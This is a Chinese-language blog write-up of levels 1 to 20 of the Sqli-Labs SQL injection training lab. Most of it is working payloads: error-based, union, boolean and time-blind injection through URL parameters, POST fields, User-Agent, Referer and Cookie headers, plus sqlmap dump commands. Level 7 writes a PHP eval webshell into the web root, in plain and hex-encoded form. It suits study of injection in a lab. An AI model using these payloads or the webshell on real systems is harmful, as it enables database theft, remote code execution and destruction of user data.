[Sqli-Labs-Master] - Page_1

发布时间 2023-11-01 01:09:28作者: Festu

Sqli-Labs-Master_Page1

Less-1

字符型报错注入:?id=1'

payload:

?id=-1' or updatexml(1,concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e),1)%23+

Less-2

整型报错注入:?id=1+1

payload:

?id=-1 or updatexml(1,concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e),1)%23+

Less-3

字符型报错注入,传入参数周围带有一个圆括号:1'

payload:

?id=1') or updatexml(1,concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e),1)%23+

Less-4

双引号字符型报错注入,有一个圆括号包裹:1"

payload:

?id=1") or updatexml(1,concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e),1)%23+

Less-5

直接查询时查询成功也无无结果回显,但也就是个字符型报错注入

payload:

?id=1' or updatexml(1,concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e),1)%23+

会发现题目中提示这里会用到一个"Double Injection",双重注入,其实只是一种报错注入的技巧,payload:

?id=1' union select 1, concat((select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;%23+

Less-6

查询无回显的双引号字符型报错注入:

?id=1" or updatexml(1,concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e),1)%23+

利用"DoubleInjection":

?id=1" union select 1, concat((select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;%23+

Less-7

单引号字符型"写入文件"注入,参数周围包裹了两层括号。

首先证明单引号可以注入:1'

证明两层括号且查询出了3个字段:1')) order by 3%23+

利用 union 写入文件:

?id=1')) union select 1,2,"<?php @eval($_GET['cmd']); ?>" into outfile "F:/phpstudy_pro/www/sqli-labs-master/less-7/webshell.php";%23+

注意这里会返回"Syntax Error",但本地查看发现文件是写进去了。查看题目源码会发现,当执行的"查询"语句没有返回结果时就默认输出"Syntax Error"。注意写入文件时已存在的文件不会被覆盖。

写入 Shell 后直接访问:

http://localhost:83/sqli-labs-master/Less-7/webshell.php?cmd=echo+1;

GetShell成功。


写入文件时,十六进制内容会被解码为字符串:

?id=1')) union select 1,2,0x3c3f70687020406576616c28245f4745545b27636d64275d293b203f3e into outfile "F:/phpstudy_pro/www/sqli-labs-master/less-7/webshell.php";%23+

Less-8

无错误报告的字符型注入,可以写入文件,同时是一个布尔盲注

验证无括号包裹:?id=1' order by 3;%23+

  1. 写入文件:

    ?id=1' union select 1,2,0x3c3f70687020406576616c28245f4745545b27636d64275d293b203f3e into outfile "F:/phpstudy_pro/www/sqli-labs-master/less-8/webshell.php";%23+
    
  2. 布尔盲注:

    POC:

    http://localhost:83/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()), 1, 1))=115;%23+
    

    手动盲注纯受罪,Sqlmap一把梭:

    sqlmap -u http://172.31.224.1:83/sqli-labs-master/Less-8/?id=1 -p 'id' --technique B -D challenges -T ygse7nvrdk -C secret_DUQL --dump
    

Less-9

字符型时间盲注,无括号包裹。

特点:无论查询是否成功,数据库有无报错,本题都是同一个界面,这加大了测试的难度。

在本地 Mysql 的测试中发现以下现象:

  1. Sleep(1) 会睡眠近 10 秒。


    更新:查询了几行就执行几次函数,因此查询十行就会睡眠 10s。

    如:

    do sleep(1);
    

    睡眠 1s。

    select * from security.users where id='1' or sleep(1) LIMIT 1,1;#+ LIMIT 1,1;
    

    由于检索了 12 条数据,一共睡眠了 12s。LIMIT 也不能改变睡眠时间。

  2. 在睡眠函数后用 or 额外拼接一个为 True 的表达式会导致睡眠函数不触发:

    select * from security.users where id='1' or if(1=1, sleep(1), 1) or '1' LIMIT 1,1;
    

    上述语句不会延时。

    以下语句会延时 1s:

    select * from security.users where id='1' or if(1=1, sleep(1), 1) LIMIT 1,1;
    

POC:

利用 Sleep:

?id=1' or if(1=1, sleep(0.1), 1) ;%23+

利用 Benchmark

?id=1' or if(1=1, benchmark(10000000, md5("hello")),1);%23+

利用字符串操作:

select rpad('a', 4999999, 'a') RLIKE concat(repeat('(a.*)+', 30), 'b'
);

或:

select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';

Sqlmap:

sqlmap -u http://172.31.224.1:83/sqli-labs-master/Less-9/?id=1 -p 'id' --technique T -D challenges -T ygse7nvrdk -C secret_DUQL --dump --flush-session --batch

Less-10

双括号包裹、无括号包裹的字符型时间盲注。

回显内容始终固定。

POC:

?id=1" or sleep(0.1) ;%23+

Sqlmap:

sqlmap -u http://172.31.224.1:83/sqli-labs-master/Less-10/?id=1 -p 'id' --technique T -D challenges -T ygse7nvrdk -C secret_DUQL --dump --flush-session --batch --level=2

需要指定 --level=2 ,第一级未尝试双引号。

Less-11

变成了 POST 传参。新增了登录框,万能密码可登陆成功,但拿不到 flag。

有报错回显,鉴定为字符型报错注入。

PoC-POST:

passwd=123&uname=1' or extractvalue(1,concat(0x7e, (select database()),0x7e))+;%23+&

payload:

passwd=123&uname=1' or extractvalue(1,concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk),0x7e))+;%23+&

Less-12

双引号包裹的字符型报错注入。外有一层括号。

payload:

passwd=123&uname=admin") or extractvalue(NULL, concat(0x7e, (select substr(group_concat(secret_DUQL),1,32) from challenges.ygse7nvrdk), 0x7e)); %23+

Less-13

单引号包裹的字符型报错注入,外有一层括号。

payload:

uname=admin&passwd=123456') or extractvalue(1, concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e));%23+&

Use "Double Injection":

uname=admin&passwd=123456') union select concat((select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;%23+&

Less-14

双引号包裹的字符型报错注入,无括号包裹。

payload:

passwd=123456&uname=admin" or extractvalue(null, concat(0x7e, (select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), 0x7e));%23+

Use "Double Injection":

passwd=123456&uname=admin" union select concat((select substr(group_concat(secret_DUQL), 1, 32) from challenges.ygse7nvrdk), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;%23+

Less-15

字符型布尔盲注。

首先验证单引号还是双引号,周围有无(几个)括号:

passwd=123456&uname=admin' order by 1;%23+

这里能用于检测是因为数据库里恰好有"uname=admin"的数据,用下面的更严谨:

passwd=123456&uname=admin' or 1=1 order by 1;%23+

登陆成功,因此单引号包裹,无括号。

布尔盲注PoC:

passwd=123456&uname=admin' and if(ascii(substr((select database()),1,1))=115, true, false);%23+

验证了当前使用的数据库名称首字母是's'。

Sqlmap:

sqlmap 的布尔盲注一直都有点问题。

先上最终 payload:

sqlmap -u http://172.31.224.1:83/sqli-labs-master/Less-15/ --data="passwd=123456&uname=1" --technique B -D challenges -T ygse7nvrdk -C secret_DUQL --dump --flush-session --not-string="slap.jpg" --level=2 --risk=3

参数中,为了测试布尔盲注的适用性,规定了使用布尔盲注技术注入:--technique B--not-string="slap.jpg" 为 sqlmap 标注注入失败时页面返回的关键词。在 --risk=3 的情况下,sqlmap 才会使用 or 句型的盲注测试语句,--level=2 才会确定布尔盲注的可行性。

--risk=1(default) 的情况下,sqlmap只会测试 AND 句型的布尔盲注,例如 123456' AND 2147=2147 AND 'cOBB'='cOBB ,若注入环境是一般的查询语句,例如传入 id 并返回对应值的情况,则可以通过。但本题是一个登录环境,两个参数"uname"与"passwd"用于验证且用 AND 连接,因此该句型就无法通过布尔盲注的测试了。

Less-16

双引号+单括号包裹的字符型布尔盲注。

验证双引号闭合,且有一个括号包裹,且字段数为 2:

passwd=123456&uname=admin") or 1=1 order by 2;%23+

PoC-True:

passwd=123456&uname=123") or ascii(substr((select database()),1,1))=115;%23+

PoC-False:

passwd=123456&uname=123") or ascii(substr((select database()),1,1))>115;%23+

sqlmap:

sqlmap -u http://172.31.224.1:83/sqli-labs-master/Less-16/index.php --data="passwd=123456&uname=123" -p uname --technique B -D challenges -T ygse7nvrdk -C secret_DUQL --dump --not-string=slap.jpg --risk=3 --level=2 --flush-session --batch

Less-17

单引号包裹的字符型Update注入。查看源码后发现"uname"参数过滤很严,但"passwd"毫无检查,因此需要选择"passwd"下手。

同时注意源码中写定,页面返回内容只与"uname"有关,若有指定的用户名就会返回密码重置成功,实际执行更新语句的结果没被考虑进去。因此此处不能使用布尔盲注,只能考虑用时间盲注。

此处能够注入的前提是知道至少一个用户名,此处有一个很好猜的"admin"。

PoC:

passwd=123123' and if(ascii(substr((select database()),1,1))=115,sleep(1),1);%23+&uname=admin

上述语句会破坏数据库内容,因为它修改了所有数据的"passwd"字段,正因如此 set 部分的语句被执行了多遍,延迟执行了多次,最后延时远超 1s,加上 where 来避免这个问题:

passwd=123123' and if(ascii(substr((select database()),1,1))=115,sleep(1),1) where username='admin';%23+&uname=admin

延时正常,数据库中的数据也只有用户名为"admin"的一条被修改了,因为修改语句只执行了一次,因此只延时了一次,睡眠 1s。

Sqlmap:

sqlmap -u http://172.31.224.1:83/sqli-labs-master/less-17/index.php --data "uname=admin&passwd=123" -p passwd --method POST --technique T -D challenges -T nym3pzmdgz -C secret_I54I --dump --flush-session

但 sqlmap 中的 payload 会直接破坏数据库,修改所有用户的密码。


回到题目思路分析,这是一个密码重置服务,第一考虑的是不能让黑客轻易修改他人密码,因此必然会对 username 做严格过滤,相对而言密码是什么样的似乎并不重要,因此这里"username"注入不了的设计是合理的。

Less-18

字符型"User-Agent"报错注入,前提是有一个可登录的账户。


黑盒完全测试不出东西,IP 是从 $_SERVER['REMOTE_ADDR'] 中读取的,他完全不受请求头的影响(如 X-Forwarded-For 与 Referer 与 Origin),尝试利用注入登录发现 uname 与 passwd 都注入不成功。

不得已直接看了源码,两个传入的参数都经过了严格过滤,而只有在登录成功时会将UA记录到数据库中,插入UA的部分没有过滤,这意味着可以注入,但前提是知道一个可以登录的账户与密码。这里假设是一个可供一般用户登录的网站,那么有一个可登录的账户是合理的。

因为是插入 UA,因此考虑这样一个语句:

insert into useragent values('UA');

往 UA 中写入注入语句:

UA'  

发现有报错,进行报错注入:

UA' or extractvalue(1, concat(0x7e, (select database()), 0x7e)),1,1);# 

这里会发现插入数据时,后面实际上还跟着两条不知道什么内容,插入的数据后面利用逻辑运算,直接连接函数操作来触发报错。

或者不需要猜后面跟着内容的数量,直接就能注出来:

UA' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '0

在 Mysql 中插入的数据如果做了逻辑运算,最终生效的值会是逻辑表达式中的最后一项表达式的值。

最终 payload:

' and extractvalue(1, concat(0x7e, (select secret_TVOT from challenges.so4n6ikgds), 0x7e)) and '0

payload 中使用 or 连接可能会出现奇怪的短路优化导致中间函数执行失败的情况,因此考虑用 and。


关于 payload 的一点奇怪语言特性,当我们尝试获取简单函数的内容时,往 payload 的 UA 中可以任意添加字符串:

UA' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '0

但如果去掉 extratvalue() 函数或者尝试查询更复杂的内容,会出现如下报错:

ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'abs'

因为不知道什么原因,在上述情况下逻辑运算符会将两侧的内容识别为"DOUBLE"类型用于进行逻辑运算,因此 UA 中的字符串内容要么为空,要么为合法的数值字符串。

且这个特性目前只在 UPDATE 句型中出现,如以下语句可以正常运行:

select 'abc' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or 'b';

-> ERROR 1105 (HY000): XPATH syntax error: '~security~'

Less-19

需要正常登录的字符型"Referer"头 Insert 注入,无括号。


登录成功后回显了一个 Referer 头信息,推测为 Referer 头注入,Referer 一般用于标记用户访问时的来源网址(即从哪个网站访问了当前网址),此处模拟了服务器记录用户访问的来源信息。

测试为单引号闭合,注入点为一个 Insert 语句,payload:

123.123' and extractvalue(1, concat(0x7e,(select secret_TVOT from challenges.so4n6ikgds),0x7e)) and '0

仍旧上一关发现的问题,单引号前的内容需要是合法的 DOUBLE 类型字符串。

Less-20

单引号包裹的字符型 Cookie 入口查询语句注入。实际上模拟了根据简单的 Cookie 认证用户身份的登录系统,该系统根据传入的 Cookie 利用查询语句验证身份,并获取对应用户信息。


成功登录后返回对应 Cookie:

Cookie: uname=admin

利用 Cookie 认证用户身份,可以直接伪造 Cookie 信息来查询到"username"为"admin"的用户的信息。这意味着后端会查询传入的 Cookie 内容,因此可以考虑对查询语句进行注入。

PoC:

Cookie: uname=1'

发现有报错,证明了是单引号包裹的字符串,且 Cookie 内容确实被拼接进了查询语句中。

payload:

Cookie: uname=admin' or extractvalue(1, concat(0x7e,(select secret_TVOT from challenges.so4n6ikgds),0x7e)) or '0

Page-1 End

第 21 关与 22 关在第一面链接不进去,因此放在了 Page-2 中。